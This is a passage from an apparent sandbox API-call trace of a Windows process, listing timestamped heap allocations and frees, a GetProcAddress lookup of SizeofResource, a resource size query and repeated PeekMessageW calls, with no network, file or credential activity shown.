cchWideChar=15, lpMultiByteStr=0x1076c70, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SizeofResource", lpUsedDefaultChar=0x0) returned 15 [0131.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.883] GetProcAddress (hModule=0x770a0000, lpProcName="SizeofResource") returned 0x770b8f80 [0131.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.884] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.884] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.884] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.884] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.884] SizeofResource (hModule=0x0, hResInfo=0x377688) returned 0x1c211 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f3f8 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076cd0 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.884] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d18 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d18 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.885] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.885] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.885] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1898 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cb8 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0131.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0131.887] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.887] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.888] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0131.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.889] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.889] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0131.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0131.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0131.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0131.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0131.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0c8 [0131.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.890] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.890] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.890] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.891] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0131.891] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.891] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.891] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.891] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.891] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0131.892] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.892] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0131.892] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1938 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.892] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0131.892] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.893] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0131.893] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0131.893] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0131.893] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d18 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0131.893] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1938 | out: hHeap=0xe80000) returned 1 [0131.894] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0131.894] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.894] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d18 | out: hHeap=0xe80000) returned 1 [0131.894] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.894] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.894] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.894] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.894] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0131.894] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0131.894] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.894] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.894] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0131.895] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.895] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0131.895] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.895] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.895] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.895] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0131.895] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0131.895] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.895] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.895] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0131.895] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.896] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0131.896] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.896] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.896] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.896] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.896] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.896] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.896] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.896] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0131.896] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0131.897] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.897] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.897] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.897] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.897] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0131.897] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0131.898] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0a8 [0131.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0131.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0131.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0131.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0131.898] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0131.898] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0131.899] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0131.899] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0131.900] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0131.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0131.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d18 [0131.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, 